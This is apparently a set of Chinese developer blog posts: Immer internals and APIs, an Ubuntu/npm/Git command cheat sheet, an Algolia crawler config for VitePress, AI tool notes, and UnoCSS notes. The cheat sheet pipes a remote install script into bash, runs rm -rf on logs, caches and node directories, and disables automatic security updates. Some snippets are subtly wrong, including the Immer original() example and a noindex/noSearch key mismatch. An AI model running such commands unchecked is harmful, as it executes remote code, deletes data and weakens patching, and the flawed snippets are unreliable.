**不可变对象**：`nextState !== prevState` 框架只做一件事：比较引用，决定要不要更新，**代价**：更新时你要创建新对象，**收益**：不需要深度监听，没有依赖图

**现代 Vue 是支持监听属性变化的**，Vue 3：Proxy，精细到属性级别，自动依赖收集，所以在 Vue 里：`state.a.b.c++` 是**合法、推荐、舒适的**

**React 的哲学是**：我不监听属性，我让你在更新时告诉我“我变了”。

但是有些问题 **监听解决不了**，比如判断两个状态是否“逻辑上相同”，撤销 / 回滚，快照对比，跨线程 / 跨时间安全读，与非响应式系统交互（Web Worker、缓存、持久化）

***

**以前：监听属性变化成本极高 → 不可变 + 引用比较胜出**

**现在：Proxy 让监听变便宜了，但 React / Preact 的架构仍然选择“不监听”**

**因此：Immer 在这些生态里依然非常有价值**

**Immer 不是“因为监听太贵才诞生的”，而是“为了让不可变更新不痛苦”而诞生的**。

***

**关于冻结机制**

**Immer** 是一个用于简化状态管理的库，尤其是在使用不可变数据结构时。它的核心功能是通过 `produce` 函数对状态进行变更，但仍然能够保持不可变性。

**`produce` 函数**

`produce` 函数是 Immer 的核心函数，用于对 state 进行修改。

**参数**：

* **state**：要进行修改的原始状态。
* **recipe**：一个函数，该函数接受 `draft` 作为参数，允许我们对 `draft` 对象进行直接修改（mutation）。

```js
import { produce } from 'immer';

const newState = produce(state, draft => {
  // 在这里对 draft 进行修改
});
```

**执行流程**：

1. 在 `produce` 中传入原始状态和一个 `recipe` 函数。
2. `recipe` 会对 `draft`（草稿状态）进行直接的修改。
3. 在 `recipe` 完成后，`produce` 会返回一个新的状态对象，该对象仅包含修改的部分。
4. Immer 会负责复制修改，并通过冻结数据来防止意外修改。

**深度冻结**

* 默认情况下，Immer 会深度冻结（deep freeze）生成的状态对象，即新对象的每一层都被冻结，防止任何后续的修改。
* 这意味着对嵌套的对象进行修改时，Immer 会确保每一层对象都受到保护，无法被直接修改。

**防止意外修改**

Immer 会检测到任何意外的修改（如试图在冻结的对象上进行修改）并抛出错误。

**例子**：

* 一旦通过 `produce` 创建的新对象完成，任何对这个对象的修改都会被捕获并抛出错误。
* 这能够有效地防止意外的状态修改。

***

Immer 真正“**实用**”的地方

* **按需拷贝**（copy-on-write）
* **结构共享**（structural sharing）
* **自动判断要不要开辟新空间**（only copy what changed）
* **没改的部分复用原引用**（re-use everything else）

Immer 的核心模型：Copy-on-Write + Structural Sharing

它不会一上来就全量拷贝，而是：

* 先拿一份原对象 `baseState`
* 给你一个 `draft`（Proxy 包着）
* 你“看起来像修改”
* Immer 在背后记录 diff
* 最后根据 diff 生成新对象

\*\*按需拷贝 \*\*只在第一次写的时候才拷贝

Immer 的逻辑大概是：

**读取时：直接读 baseState**，**写入时：第一次写到某个对象时，才 shallow copy 那一层**

一个最直观的例子：只改一处，只有那条路径复制

```js
import { produce } from "immer"

const baseState = {
  a: { x: 1 },
  b: { y: 2 },
  c: { z: 3 }
}

const nextState = produce(baseState, draft => {
  draft.b.y = 999
})
```

```js
nextState !== baseState          // true ✅ root 变了（因为至少一处变）
nextState.a === baseState.a      // true ✅ a 没动，复用
nextState.b === baseState.b      // false ❌ b 动了，被拷贝
nextState.c === baseState.c      // true ✅ c 没动，复用
```

这就是结构共享：**只复制了 `root` 和 `b`，其余都复用**。

结构共享的本质：把“变化”限制在最小路径上

比如你改的是：

```js
root.b.y
```

那么 Immer 复制的路径是：

```js
root （必复制，因为 root 的引用要变）
└─ b （必复制，因为 b 的内容变了）
   └─ y （primitive，直接改）
```

其余的 `a` / `c` 依旧指向老对象。

Immer 的三个关键点

* **draft 是 Proxy，不是 clone**，你以为你在改对象，其实是在改一个“记录器”。
* **按需 shallow copy，不做 deep copy**，拷贝发生在写入时，且只浅拷贝当前层。
* **没改的东西完全复用引用（结构共享）**，这就是它“便宜”的根本原因。

**为什么说它比 deepClone 便宜？**

deepClone 的成本：

* **无论你改哪儿：全部复制**
* O(N)

Immer 的成本：

* 只复制修改路径上的节点
* O(depth of changed path + size of changed substructures)

所以你改一处的时候成本是：

**O(树的高度)** 而不是整个树大小。

***

**常用 API**

**`enableMapSet` 和 `disableMapSet`**

默认情况下，Immer 只支持普通的 JavaScript 对象和数组。如果你希望支持 `Map` 和 `Set` 类型的不可变操作，可以使用这两个 API。

* **`enableMapSet`**：启用对 `Map` 和 `Set` 的支持。
* **`disableMapSet`**：禁用对 `Map` 和 `Set` 的支持。

```js
import produce, { enableMapSet } from 'immer';

enableMapSet();

const state = new Map();
const nextState = produce(state, draft => {
  draft.set('key', 'value');
});
```

**`createDraft`**

`createDraft` 允许你创建一个草稿对象。它本质上是 `produce` 的一个低级 API，允许你创建并修改草稿（draft），但没有像 `produce` 那样立即返回修改后的新状态对象。可以在之后调用 `finishDraft` 来获取修改后的状态。

```js
import { createDraft, finishDraft } from 'immer';

const draft = createDraft({ a: 1 });
draft.a = 2;  // 修改草稿对象
const newState = finishDraft(draft);  // 完成并返回新状态
```

**`setAutoFreeze` 和 `getAutoFreeze`**

* `setAutoFreeze`：这个 API 允许你启用或禁用 Immer 自动冻结新生成的状态对象。默认情况下，Immer 会冻结新对象，防止它们被意外修改。如果你想禁用这种行为，可以通过 `setAutoFreeze(false)` 来关闭冻结功能。
* **`getAutoFreeze`**：用于检查当前是否启用了自动冻结。

```js
import { setAutoFreeze, getAutoFreeze } from 'immer';

setAutoFreeze(false);  // 禁用自动冻结
console.log(getAutoFreeze());  // 输出 false
```

**`original`**

`original` 是一个非常有用的 API，它可以用来获取当前草稿对象对应的原始对象。如果你需要查看当前草稿在未修改前的状态，可以使用这个方法。

```js
import produce, { original } from 'immer';

const state = { a: 1, b: 2 };
const nextState = produce(state, draft => {
  draft.a = 3;
});

console.log(original(nextState));  // 输出 { a: 1, b: 2 }
```

**`Draft` 类型**

在 TypeScript 中，Immer 提供了 `Draft` 类型，帮助确保草稿对象的类型安全。`Draft` 类型是对原始对象的代理，它允许你在 `produce` 函数中直接修改草稿对象而不会影响原始状态。

```ts
import produce, { Draft } from 'immer';

type State = { a: number };

const state: State = { a: 1 };
const nextState = produce(state, (draft: Draft<State>) => {
  draft.a = 2;
});
```

::: info

**为什么 `Map` 和 `Set` 需要单独启用？**

**API 不同**：

* `Map` 和 `Set` 的操作方法与普通对象不同。普通对象可以通过直接修改属性来改变其状态（例如，`draft.key = value`）。然而，`Map` 和 `Set` 提供的 API 需要使用特定的方法进行修改：
  * `Map` 通过 `.set()` 方法修改键值对。
  * `Set` 通过 `.add()` 方法添加元素。
* 因为 `Immer` 是基于 `Proxy` 实现的，默认情况下它支持对象和数组的直接修改（通过属性赋值），但是对于 `Map` 和 `Set`，它需要特别处理，以便在 `produce` 中追踪它们的状态变化。

**体积增加**：启用对 `Map` 和 `Set` 的支持，会使 Immer 包含更多的代码逻辑，尤其是处理这些对象的变化跟踪。这种额外的支持会导致打包体积的增加，尽管这个增加相对来说是比较小的，但如果你关心包的大小，特别是在资源有限的项目中，启用这些功能可能不是必须的。

:::

---

---
url: /posts/k1sej0i5/index.md
---
# 一些指令{#some-instructions}

## 更新系统基础软件包

```bash
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl wget git build-essential software-properties-common
```

`build-essential`：包含 gcc、make 等编译工具

`software-properties-common`：方便添加 PPA

## 关闭自动升级

```bash
sudo systemctl stop apt-daily.timer apt-daily-upgrade.timer
sudo systemctl disable apt-daily.timer apt-daily-upgrade.timer
sudo systemctl mask apt-daily.service apt-daily-upgrade.service
```

* 防止 unattended-upgrades 或 apt 定时任务锁住 dpkg

***

`apt-check`：是 Ubuntu/Debian 系统中的一部分，用来检查系统更新（比如有没有新的包可以升级）。

`unattended-upgrade`：是自动升级服务，用于后台自动更新安全补丁等系统包。

这两个进程会不定时运行，占用 CPU 检查包信息，尤其在资源较小的服务器上，一跑就很吃紧。

**解决方案：禁用自动更新服务，改为手动升级**

关闭 `unattended-upgrades`

```bash
sudo systemctl stop unattended-upgrades
sudo systemctl disable unattended-upgrades
```

手动更新建议，以后你可以定期手动更新系统，执行：

```bash
sudo apt update && sudo apt upgrade -y
```

虽然你**只禁用了 `unattended-upgrades`**，但这已经间接停止了 `apt-check` 的触发。

建议你再确认一个文件：

```bash
sudo nano /etc/apt/apt.conf.d/20auto-upgrades
```

如果里面还有这两行：

```bash
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
```

就改成

```bash
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Unattended-Upgrade "0";
```

否则系统可能还是会**定时调用 `apt-check`** 去尝试检查更新。

## 切换npm 镜像源

```bash
npm config set registry https://registry.npmjs.org/
```

用淘宝镜像（镜像站更快）

```bash
npm config set registry https://registry.npmmirror.com/
```

## 查找空间使用最多的目录

```bash
du -h --max-depth=1 / | sort -hr | head -n 20
```

比如你看到 `/var` 或 `/usr` 特别大，接着进入它继续看：

```bash
du -h --max-depth=1 /var | sort -hr | head -n 20
```

清理 apt 缓存

```bash
apt clean && apt autoremove -y && apt autoclean
```

清理日志

```bash
journalctl --disk-usage
```

清空系统日志目录

```bash
rm -rf /var/log/*.gz /var/log/*.[0-9] /var/log/journal/*
```

清理 Node/npm 缓存：如果你曾经手动安装过 Node 或 PM2，这些缓存可能很多：

```bash
npm cache clean --force
rm -rf ~/.npm
rm -rf ~/.nvm
rm -rf /usr/local/lib/node_modules
```

宝塔面板临时缓存

```bash
rm -rf /www/server/panel/data/*.log
rm -rf /www/server/panel/plugin/*/log
rm -rf /www/server/panel/logs/*
```

## `cls` 设置别名为 `clear`

在你的 shell 配置文件里（比如 `~/.bashrc` 或 `~/.zshrc`）添加：

```bash
alias cls='clear'

source ~/.bashrc  # 或者 source ~/.zshrc
```

以后你在终端输入 `cls` 就会执行 `clear`，达到和 Windows 类似的效果。

## 安装 NVM（Node Version Manager）

```bash
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.6/install.sh | bash

# 让当前 shell 生效
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

# 验证
nvm --version
```

## 重加载bashrc

```bash
source ~/.bashrc
```

## 停止指定端口

例如要停掉 **4000** 端口：

```bash
sudo apt install -y lsof
lsof -i:4000
```

或者：

```bash
sudo apt install -y net-tools
netstat -tunlp | grep 4000 # 输出里会显示 PID（进程 ID）
```

```bash
kill -9 12345 			   # 比如找到的 PID 是 12345
```

## 完全卸载 Pure-FTPd

```bash
# 停止服务
sudo systemctl stop pure-ftpd
sudo systemctl disable pure-ftpd
# 卸载软件包
sudo apt-get remove --purge pure-ftpd pure-ftpd-common -y
# 删除残留配置文件和目录
sudo rm -rf /etc/pure-ftpd
sudo rm -rf /var/run/pure-ftpd
sudo rm -rf /var/log/pure-ftpd
sudo rm -rf /home/ftpuser  # 如果你专门为 FTP 建了用户目录
# 删除虚拟用户数据库（如果用过 pure-pw）
sudo rm -f /etc/pure-ftpd/pureftpd.passwd
sudo rm -f /etc/pure-ftpd/pureftpd.pdb
# 检查残留服务
systemctl status pure-ftpd
# 如果显示 Unit not found 或者 inactive (dead)，说明完全卸载干净了。
```

## 拉取 GitHub 私有仓库的流程

### 服务器生成 SSH 秘钥，进入服务器，执行：

```bash
ssh-keygen -t ed25519 -C "XXXX@qq.com"
```

* `ed25519` 比 `rsa` 更现代安全
* `-C` 后的 email 只是备注，可以填你的 GitHub 邮箱
* 一路回车（`Enter`）就行，默认会在 `~/.ssh/id_ed25519` 生成私钥，`~/.ssh/id_ed25519.pub` 生成公钥

### 查看并复制公钥

```bash
cat ~/.ssh/id_ed25519.pub
```

复制里面的内容（长长的一串 `ssh-ed25519 ...`）。

### 把公钥加到 GitHub

1. 登录 GitHub → 右上角头像 → **Settings**
2. 左边选择 **SSH and GPG keys**
3. 点击 **New SSH key**
   * Title：随便写，比如 `MyServer`
   * Key type：选择 `Authentication Key`
   * Key：粘贴你刚才复制的公钥
4. 点 **Add SSH key** 保存

### 测试 SSH 是否能连上 GitHub

```bash
ssh -T git@github.com
```

第一次会问 `Are you sure you want to continue connecting (yes/no/[fingerprint])?` → 输入 `yes`
如果成功，会输出类似：

```
Hi username! You've successfully authenticated, but GitHub does not provide shell access.
```

## Git提交者信息

查看当前 Git 配置

```bash
git config --list
```

设置全局个人信息（对所有仓库生效）

```bash
git config --global user.name "你的名字"
git config --global user.email "你的邮箱@example.com"
```

设置仓库级个人信息（只对当前仓库生效）

```bash
cd /path/to/your/repo
git config user.name "仓库专用名字"
git config user.email "repo@example.com"
```

验证设置是否生效

```bash
git config user.name
git config user.email
```

## Git 安全机制

从 Git 2.35+ 开始，如果一个仓库的所有者和当前用户不一致，Git 会报：

```bash
fatal: unsafe repository ('/root/business/blog' is owned by someone else)
```

### 解决办法

#### 把这个目录加入 Git 的安全列表

```bash
git config --global --add safe.directory /root/business/blog
```

适用于你已经信任这个仓库的情况

#### 或者用仓库级配置（当前仓库生效）

```bash
git config --local --add safe.directory $(pwd)
```

## Let's Encrypt DNS账号(Cloudflare){#lets-encrypt-dns}

:::steps

1. **创建 API Token**

在右上角头像 → “My Profile”

左侧选择 API Tokens → 点击 Create Token

2. **选择模板或自定义权限**

可以直接使用模板：**Edit Cloudflare DNS**（管理 DNS）

如果自定义：

Permissions → Zone → DNS → Edit

Zone Resources → 选择 Include → Specific Zone → 你的域名

这样生成的 Token 只对指定域名有操作权限，更安全

3. **配置到证书申请工具**

EMAIL：你的 Cloudflare 注册邮箱

API Token：刚才生成的 Token

:::

## ubuntu root用户

正常情况下，自己安装ubuntu系统后，Ubuntu 默认 root 账号是禁用登录的，系统推荐使用普通用户 + sudo 来做管理操作。

不过有几种方式可以切换到 root：

临时切换到 root shell

```bash
sudo -i
```

或者

```bash
sudo su
```

输入你当前用户的密码，就能进入 root。

如果你真的想启用 root 账号

不推荐，但可以这么做：

```bash
sudo passwd root
```

设置 root 密码后，你就能用 su - 切换到 root 用户了。

```bash
su -
```

输入刚才设置的密码即可。

在 Ubuntu 里，推荐做法是用 sudo 提权，而不是直接启用 root 账号。

---

---
url: /posts/k9t8phwa/index.md
---
# Algolia 是一个托管型搜索平台，关于它的一些配置，使用与开发中注意事项的详细说明
## 让特定文章不进入搜索范围

在 VitePress 中，可以通过 Frontmatter 元数据标记 结合 Algolia 爬虫规则，实现让特定文章不进入搜索范围。

### 方法 1：通过 Frontmatter 标记 + 爬虫过滤（推荐）

#### 1. 在文章的 Markdown 头部添加 `noindex` 标记

markdown

```yaml
---
title: 我的生活随笔
noindex: true  # 禁止被 Algolia 收录
---
```

因为VitePress不会自动加上 `<meta property="noSearch" content="true">`

```ts
// config.js
export default defineConfig({
  // ...existing code...
  vite: {
    // ...existing code...
  },
  // 自动为 noSearch: true 的页面添加 head
  transformPageData(pageData) {
    if (pageData.frontmatter.noSearch) {
      pageData.frontmatter.head = pageData.frontmatter.head || [];
      pageData.frontmatter.head.push([
        'meta',
        { property: 'noSearch', content: 'true' }
      ]);
    }
  }
});
```

#### 2. 修改 Algolia 爬虫配置

在 Algolia 控制台的 Crawler 配置中，添加 `selectors_exclude` 规则：

```js
actions: [
  {
    indexName: "yumeng",
    recordExtractor: ({ $, helpers }) => {
      // 如果 Frontmatter 包含 noindex: true，跳过该页面
      if ($('meta[property="noSearch"]').length > 0) {
        return [];
      }
      return helpers.docsearch({
        // 原有配置...
      });
    }
  }
]
```

### 方法 2：通过 HTML 元标签（无需修改爬虫）

在 VitePress 的 Frontmatter 中直接生成 `<meta>` 标签：

```yaml
---
head:
  - [meta, { name: "robots", content: "noindex, nofollow" }]
---
```

Algolia 爬虫会自动忽略带有 `noindex` 的页面（这是搜索引擎通用规范）。

### 方法 3：通过文件路径排除

#### 1. 将不想被搜索的文章放在特定目录

例如：

```yaml
docs/
  tech/       # 技术文章
  life/       # 生活随笔（不搜索）
```

#### 2. 修改爬虫配置的 `discoveryPatterns`

```js
discoveryPatterns: [
  "https://yumeng.icu/tech/**",  // 只爬取技术目录
  "!https://yumeng.icu/life/**"  // 排除生活目录
]
```

### 验证是否生效

1. 在 Algolia 控制台的 [Indices](https://dashboard.algolia.com/indices) 中检查记录数量。
2. 尝试搜索被标记的文章标题，确认是否无结果。

### 各方案对比

| 方案             | 优点                 | 缺点                     |
| :--------------- | :------------------- | :----------------------- |
| Frontmatter 标记 | 精准控制单篇文章     | 需调整爬虫配置           |
| HTML 元标签      | 无需改爬虫，通用性强 | 依赖爬虫遵守 robots 规则 |
| 路径排除         | 批量管理方便         | 不够灵活                 |

推荐 **方法1+方法2 组合使用**，双重保障。

## 我的Algolia配置

```js
new Crawler({
  appId: "*************",
  apiKey: "*****************************************",
  maxUrls: 5000,
  indexPrefix: "",
  rateLimit: 8,
  renderJavaScript: false,
  startUrls: ["https://yumeng.icu"],
  discoveryPatterns: ["https://yumeng.icu/**"],
  schedule: "at 14:33 on Monday",
  maxDepth: 10,
  actions: [
    {
      indexName: "yumeng",
      pathsToMatch: ["https://yumeng.icu/**"],
      recordExtractor: ({ $, helpers }) => {
        return helpers.docsearch({
          recordProps: {
            lvl1: ".content h1",
            content: ".content p, .content li",
            lvl0: {
              selectors: "",
              defaultValue: "Documentation",
            },
            lvl2: ".content h2",
            lvl3: ".content h3",
            lvl4: ".content h4",
            lvl5: ".content h5",
          },
          aggregateContent: true,
          recordVersion: "v3",
        });
      },
    },
  ],
  sitemaps: ["https://yumeng.icu/sitemap.xml"],
  initialIndexSettings: {
    yumeng: {
      advancedSyntax: true,
      allowTyposOnNumericTokens: false,
      attributeCriteriaComputedByMinProximity: true,
      attributeForDistinct: "url",
      attributesForFaceting: ["type", "lang"],
      attributesToHighlight: ["hierarchy", "hierarchy_camel", "content"],
      attributesToRetrieve: [
        "hierarchy",
        "content",
        "anchor",
        "url",
        "url_without_anchor",
        "type",
      ],
      attributesToSnippet: ["content:10"],
      camelCaseAttributes: ["hierarchy", "hierarchy_radio", "content"],
      customRanking: [
        "desc(weight.pageRank)",
        "desc(weight.level)",
        "asc(weight.position)",
      ],
      distinct: 1,
      highlightPostTag: "</span>",
      highlightPreTag: '<span class="algolia-docsearch-suggestion--highlight">',
      ignorePlurals: true,
      minProximity: 1,
      minWordSizefor1Typo: 3,
      minWordSizefor2Typos: 7,
      ranking: [
        "words",
        "filters",
        "typo",
        "attribute",
        "proximity",
        "exact",
        "custom",
      ],
      removeWordsIfNoResults: "allOptional",
      searchableAttributes: [
        "unordered(hierarchy_radio_camel.lvl0)",
        "unordered(hierarchy_radio.lvl0)",
        "unordered(hierarchy_radio_camel.lvl1)",
        "unordered(hierarchy_radio.lvl1)",
        "unordered(hierarchy_radio_camel.lvl2)",
        "unordered(hierarchy_radio.lvl2)",
        "unordered(hierarchy_radio_camel.lvl3)",
        "unordered(hierarchy_radio.lvl3)",
        "unordered(hierarchy_radio_camel.lvl4)",
        "unordered(hierarchy_radio.lvl4)",
        "unordered(hierarchy_radio_camel.lvl5)",
        "unordered(hierarchy_radio.lvl5)",
        "unordered(hierarchy_radio_camel.lvl6)",
        "unordered(hierarchy_radio.lvl6)",
        "unordered(hierarchy_camel.lvl0)",
        "unordered(hierarchy.lvl0)",
        "unordered(hierarchy_camel.lvl1)",
        "unordered(hierarchy.lvl1)",
        "unordered(hierarchy_camel.lvl2)",
        "unordered(hierarchy.lvl2)",
        "unordered(hierarchy_camel.lvl3)",
        "unordered(hierarchy.lvl3)",
        "unordered(hierarchy_camel.lvl4)",
        "unordered(hierarchy.lvl4)",
        "unordered(hierarchy_camel.lvl5)",
        "unordered(hierarchy.lvl5)",
        "unordered(hierarchy_camel.lvl6)",
        "unordered(hierarchy.lvl6)",
        "content",
      ],
    },
  },
  ignoreCanonicalTo: true,
  safetyChecks: { beforeIndexPublishing: { maxLostRecordsPercentage: 10 } },
});
```

---

---
url: /posts/kbfp5l43/index.md
---
# 我的工具
## Mixboard

[Mixboard](https://mixboard.google.com/)（Google Labs）是一个 **用于前期设计灵感与概念探索的 AI 情绪板（Moodboard）工具**。

**场景**：**“我脑子里有个感觉/氛围，但说不清、画不出来”**——Mixboard 这类工具就是帮你把它先“翻译”成一堆**可看的视觉线索**，让想法变具体、能沟通。

它主要干什么

* 🧠 **设计构思 / 方向探索** 用自然语言生成一组风格统一的视觉素材
* 🎨 **Moodboard / 概念板** 快速确定视觉风格、氛围、色彩、调性
* 🔄 **指令式调整风格** 如「更明亮」「换成极简 / 孟菲斯风」「融合两种感觉」

适合用在

* 品牌 / 视觉方向探索
* 产品、活动、空间、营销的前期设计
* 头脑风暴、对齐审美、找感觉

不适合用在

* 精细设计落地
* UI / 平面最终稿 → **不能替代 Figma / Photoshop**

本质定位

* **设计前期工具**
* 偏“想法 → 视觉方向”，不是“设计 → 成品”

## NotebookLM

**NotebookLM** 是 Google 推出的一款 **AI 驱动的智能笔记与研究辅助工具**，本质上是一个可交互的 **AI 研究助手 + AI 强化笔记平台**，可以帮你把各种文档内容“理解、整理、提炼和问答化”。

**NotebookLM**（全名 *Google NotebookLM*）是由 **Google Labs** 开发的在线工具，内置了 **Google 的 Gemini AI 语言模型**，可以作为你的 **AI 研究助手 / 智能笔记伴侣**。

核心能力

* 🧠 **理解和分析文档内容**：你可以上传 PDF、Google 文档、网站内容等，然后 NotebookLM 会读懂这些内容。
* ✍️ **自动生成笔记和摘要**：长文也能变成清晰摘要，节省大量阅读时间。
* ❓ **基于材料回答问题**：你可以问它和你上传文档相关的问题，它会根据资料给出答案。
* 🧩 **构建知识概要/思维导图/FAQ**：自动整理逻辑关系或制作复习要点。
* 🎧 **生成音频概览 / Podcast**：把笔记内容转换成可听的讲解形式。

用它能做什么？（举例）

* 快速 **总结几十页论文/报告**，把重点摘出来。
* 把会议纪要、长邮件、文章转成**易读/易听格式**。
* **问它细节问题**，比如：“这篇文献的核心观点是什么？”或者“这两个作者的观点哪儿不一样？”
* 自动**生成复习提纲、FAQ、学习指南**。
* 导出知识网络或思维导图帮助梳理结构

**不是一个普通笔记本（像 Notion、Obsidian 那样）**

而是：以 **AI + 你自己的内容** 为核心，用 AI 帮你 **“理解 + 结构化 + 提炼 + 解答”** 知识。

---

---
url: /posts/kkafulfx/index.md
---
# Unocss 笔记
unocss 和 tailwind **同属“原子化 CSS（utility-first）”路线，但不是同一个东西**，Tailwind 是“成品框架”，UnoCSS 更像“可插拔的引擎 / 生成器”。

写 `p-4 text-center bg-red-500` 这种类名，它们都会把对应 CSS 生成出来（或提供出来），目的都是：**少写自定义 CSS、靠组合类名完成样式**。

不同点：Tailwind 是一套固定体系；UnoCSS 更灵活

**Tailwind**

* 自带一整套规则、设计系统、默认主题（spacing、colors、breakpoints…）
* 生态成熟（插件、UI 库、社区范式）
* 基本按它的“语法/约定”用

**UnoCSS**

本质是一个“按需生成 CSS 的引擎”（很轻量）

可以选择预设（preset）来模拟不同体系：

* `presetUno`：UnoCSS 自己的默认规则

* `presetAttributify`：可以写属性化的 `p="4" text="center"`

* `presetWind`：**提供 Tailwind-like 的规则**（很多类名兼容 Tailwind）

* 更强调“你想要什么语法/规则，我就生成什么”，可定制空间更大

***

**想用 Tailwind 的类名体系 + 更快更按需 + 语法更自由** → 可能更偏 UnoCSS

**想要成熟的默认设计系统 + 大量现成教程/组件生态** → Tailwind 更省心

一个好记的比喻

* Tailwind：**一整套装修风格 + 工具箱 + 使用手册**
* UnoCSS：**一个超快的工具箱引擎，你可以装 Tailwind 风格的刀头，也可以装别的**

***

**“UnoCSS 当底座 + 装 Tailwind 刀头（presetWind）”**

使用体验：

* **类名习惯基本不变**：`flex`, `p-4`, `text-center`, `bg-red-500` 这类 Tailwind 风格照写
* **更轻、更按需**：只生成你项目里实际用到的 utility（而不是一整套预构建）
* **更自由**：可以混用 UnoCSS 的一些增强玩法（比如 attributify、shortcuts、自定义规则）
* **更可定制**：想加规则就加规则，不必完全受 Tailwind 体系限制

`presetWind` 覆盖了大量常用类，但 Tailwind 的某些细节、插件生态（比如某些第三方 Tailwind 插件）不一定能原样搬过来，如果你项目强依赖 Tailwind 插件/生态组件，Tailwind 本体可能更稳。

**“写 Tailwind 的 class，但希望更轻量 + 更自由定制 + 极致按需生成”**，那 **UnoCSS + presetWind** 就是很典型的组合。

***

[重新构想原子化 CSS（Anthony Fu）](https://antfu.me/posts/reimagine-atomic-css-zh)

**核心论证**

* 原子化 CSS 的关键矛盾不是“要不要 utility”，而是 **生成策略与可定制性** 如何匹配现代开发（尤其是 Vite 这类超快工具链）。
* “全量生成 + 事后清理（Purge）”在开发期会成为性能瓶颈；“按需生成（JIT / on-demand）”能从根上解决。
* 但 Tailwind/Windi 在“按需生成”之后，暴露出另一个痛点：**直觉性与定制能力** 仍被历史包袱限制（配置/插件体系还停留在旧时代思维）。
* UnoCSS 的定位不是再造一个框架，而是把“原子化 CSS”抽象成一个 **高性能、极灵活的即时生成引擎**：规则、变体、预设全可组合，甚至能“模拟多个框架”或创造新框架。

**原子化 CSS 定义与范围**

原子化 CSS：倾向于 **小、单一用途** 的 class，命名基于视觉功能（例如 margin、颜色等），也常被叫做 functional CSS / utility classes。

文章不争论“原子化 CSS 值不值得用”，而是从框架作者视角讨论：**如何权衡设计、有哪些局限、怎样做得更好**。

**为什么重构**

* 作者（Anthony Fu）在 Vite 生态里做模板 Vitesse，默认用 Tailwind，享受原子化 CSS 的开发效率。
* 但在 Vite 这种加载/更新极快的工具链里，Tailwind 传统模式生成的 **数 MB CSS** 反而成为性能瓶颈（尤其是开发期的加载与更新）。
* 发现 Windi CSS：零依赖（不强制 PostCSS/Autoprefixer），更重要是支持 **按需生成**，并且作者做了 Vite 插件，性能可到 Tailwind 的 20~100 倍量级。
* Windi 团队也做了很多创新（自动值推导、变体组、Shortcuts、DevTools 设计、属性化模式等），并影响 Tailwind 推出 JIT 引擎。

**剖析原子化 CSS 的生成方式：传统 vs 按需**

传统方案：全量生成（再配合 Purge）

* 传统做法是：预先生成“你可能会用到的所有工具类”（例子：用 SCSS 循环生成 `.m-1` 到 `.m-10`）。
* 问题一：**覆盖范围有限**（只生成了 1~10 就没法直接用 11、100 之类）。
* 问题二：**体积爆炸**：加方向（mt/mb/ml/mr…）×5，加伪类（hover/focus…）更膨胀，最后变成“数 MB CSS”。
* Tailwind 用 PurgeCSS 在生产构建扫描产物、删除没用的规则，把生产 CSS 压到几 KB；但注意：**开发期仍要加载全量巨大 CSS**，在 Vite 下影响非常明显。

按需生成：把“扫描”和“生成”顺序对调

* 核心思想：先扫描你源码里实际用到的 class，再生成对应 CSS，避免生成无用内容，同时也允许更动态、更自由的值。
* Windi/Tailwind JIT 常见实现：启动前先 glob 扫文件，把内容交给生成器；开发期再用文件监听器（chokidar）做增量扫描并触发 HMR。
* 结果：按需生成能让 Windi 相对传统 Tailwind 速度提升巨大（作者给出约 100 倍级别的说法）。

**按需有了，但体验仍会被打断**

作者非常强调一个“体感问题”：理想的原子化 CSS 应该是 **直觉性的**，一旦学会规则，你就能推导出其他用法；否则工具会频繁打断你的心流。

直觉性被破坏的例子：`border-10` 为什么不生效？

* 你知道 `border-2/4/6/8` 对应 px，但 `border-10` 突然不工作，容易让人困惑。
* 你可以“自己写个 .border-10”解决，但这违背了使用原子化框架的初衷。
* 正统做法是去 Tailwind 配置里把 `borderWidth: { 10: '10px' }` 加进去。问题在于：你为了一个小缺口被迫查文档、改配置、再回到原任务，**上下文被打断**。

Windi 更宽松，但“兼容包袱”让深度定制仍痛苦

* Windi 会尽量推断，让 `border-10` 开箱即用；但为了和 Tailwind 兼容，它仍沿用 Tailwind 的同款配置体系。
* 真正的噩梦出现在“加自定义工具类”时：Tailwind 插件示例里为了定义 rotate 的 utilities，需要写一长串 JS（甚至比生成的 CSS 还长），难读难维护，还破坏按需的灵活性。
* 作者结论：Tailwind 的 API/插件系统沿用旧思维（为全量生成时代设计），不适配新的随需应变（on-demand）理念，定制化能力也有限。

**重新设计**

定位：UnoCSS 是“引擎”不是“框架”

* UnoCSS 不自带固定的一套核心工具类；能力由 **预设（presets）+ 内联配置** 提供。
* 目标是：用预设去模拟大多数现有原子化框架，甚至让你用它做“你自己的原子化框架”。（文中举了未来可能有 bootstrap/tachyons/tailwind/windi 等 preset 的想象。）

直观且完全可定制：规则（rules）要“几秒钟就能写出来”，作者的设计点：定义规则要足够直接、可读、可维护。

**静态规则**，例：`['m-1', { margin: '0.25rem' }]`，检测到 class 就生成对应 CSS。

**动态规则（正则 + 函数）**

* 例：`/^m-(\d+)$/` 把数字捕获出来，计算 `d/4 rem`，于是 `m-100` 能直接生成 `margin: 25rem`。
* 这种机制意味着：你不需要把“所有可能值”写进配置表里，而是用规则自然推导；也更符合作者追求的“直觉性”。

**UnoCSS 的 variants 设计同样是“匹配 + 改写”的小模块：**

* 示例：统一支持 `hover:` 前缀，把选择器改成 `:hover`。
* 示例：支持 `!` 前缀，通过 rewrite 给所有值加 `!important`。

重点：variants 不是写死在框架里，而是你可以自己定义、扩展，并作用于你自定义的任何规则。

**Presets：把规则/variants 打包复用；默认 preset 是“通用超集”**

* 你可以把自定义规则与 variants 打包成 preset 分享，或用 UnoCSS 作为底座创造新的“框架层”。
* 作者特别提到默认的 `@unocss/preset-uno`（当时实验阶段）是多个流行框架的“通用超集”：Tailwind/Windi/Bootstrap/Tachyons 等的多种写法能同时生效（如 `ml-3`, `ms-2`, `ma4`, `mt-10px`）。

**灵活性展示 1：属性化模式（Attributify）**

* Windi 的属性化模式被作者认为是很受欢迎的特性：用属性对 utility 做分组，减少重复前缀，提升可读性。
* 原文示例：把一长串 class 拆到 `bg="" text="" font="" p="" border=""` 等属性里，还能组合 `hover:`、`dark:`。
* UnoCSS 的实现重点：只用 **一个 variant + 一个 extractor**，总共不到 100 行，并且 **天然支持你的自定义规则**。
* 甚至还能支持“无值属性”：`<div m-2 rounded text-teal-400 />` 这种更短的写法。
